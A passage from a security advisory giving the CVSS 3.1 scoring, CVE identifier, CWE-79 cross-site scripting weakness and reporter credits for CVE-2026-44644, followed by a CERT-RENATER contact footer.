Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVE ID
CVE-2026-44644

Weaknesses
Weakness CWE-79

Credits

    @offset offset Reporter
    @0xEr3n 0xEr3n Reporter


=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




